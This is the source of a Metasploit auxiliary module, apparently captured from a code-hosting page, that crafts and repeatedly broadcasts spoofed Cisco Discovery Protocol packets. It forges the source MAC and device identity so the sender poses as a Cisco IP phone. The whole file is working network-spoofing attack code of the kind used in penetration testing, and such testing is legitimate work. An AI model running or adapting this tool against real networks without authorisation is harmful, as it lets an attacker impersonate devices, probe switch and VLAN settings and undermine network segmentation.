Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/cisco/cdp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture78def initialize910super(11'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',12'Description' => %q{13This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses14to the CDP packets broadcast from this module will need to be analyzed with an15external packet analysis tool, such as tcpdump or Wireshark in order to learn more16about the Cisco switch and router environment.17},18'Author' => 'Fatih Ozavci', # viproy.com/fozavci19'License' => MSF_LICENSE,20'References' => [21[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]22],23'Actions' => [24['Spoof', { 'Description' => 'Sends CDP packets' }]25],26'DefaultAction' => 'Spoof'27)2829register_options(30[31OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),32OptString.new('VTPDOMAIN', [false, "VTP Domain"]),33OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),34OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),35# XXX: this is not currently implemented36#OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),37OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),38OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),39OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])40])4142deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')43end4445def setup46check_pcaprub_loaded47unless smac48fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"49end50open_pcap51close_pcap52end5354def interface55@interface ||= datastore['INTERFACE'] || Pcap.lookupdev56end5758def smac59@smac ||= datastore['SMAC'] || get_mac(interface)60end6162def run63begin64open_pcap6566@run = true67cdp_packet = build_cdp68print_status("Sending CDP messages on #{interface}")69while @run70capture.inject(cdp_packet)71Rex.sleep(60)72end73ensure74close_pcap75end76end7778def build_cdp79cdp = ''80# CDP version81cdp << "\x02"82# TTL (180s)83cdp << "\xB4"84# checksum, empty for now85cdp << "\x00\x00"86# device ID87cdp << tlv(1, datastore['DEVICE_ID'])88# port ID89cdp << tlv(3, datastore['PORT'])90# TODO: implement this correctly91# capabilities = datastore['CAPABILITIES'] || "Host"92# CAPABILITIES93# define CDP_CAP_LEVEL1 0x4094# define CDP_CAP_FORWARD_IGMP 0x2095# define CDP_CAP_NETWORK_LAYER 0x1096# define CDP_CAP_LEVEL2_SWITCH 0x0897# define CDP_CAP_LEVEL2_SRB 0x0498# define CDP_CAP_LEVEL2_TRBR 0x0299# define CDP_CAP_LEVEL3_ROUTER 0x01100cdp << tlv(4, "\x00\x00\x00\x41")101# software version102cdp << tlv(5, datastore['SOFTWARE'])103# platform104cdp << tlv(6, datastore['PLATFORM'])105# VTP management domain106cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']107# random 1000-7000 power consumption in mW108cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))109# duplex110cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")111# VLAn query. TODO: figure out this field, use tlv, make configurable112cdp << "\x00\x0F\x00\b \x02\x00\x01"113114# compute and replace the checksum115cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')116117# Build and return the final packet, which is 802.3 + LLC + CDP.118# 802.3119PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +120PacketFu::EthHeader.mac2str(smac) +121[cdp.length + 8].pack('n') +122# LLC123"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +124# CDP125cdp126end127128def tlv(t, v)129[ t, v.length + 4 ].pack("nn") + v130end131132def compute_cdp_checksum(cdp)133num_shorts = cdp.length / 2134checksum = 0135remaining = cdp.length136137cdp.unpack("S#{num_shorts}").each do |short|138checksum += short139remaining -= 2140end141142checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1143checksum = (checksum >> 16) + (checksum & 0xffff)144checksum = ~((checksum >> 16) + checksum) & 0xffff145([checksum].pack("S*")).unpack("n*")[0]146end147end148149150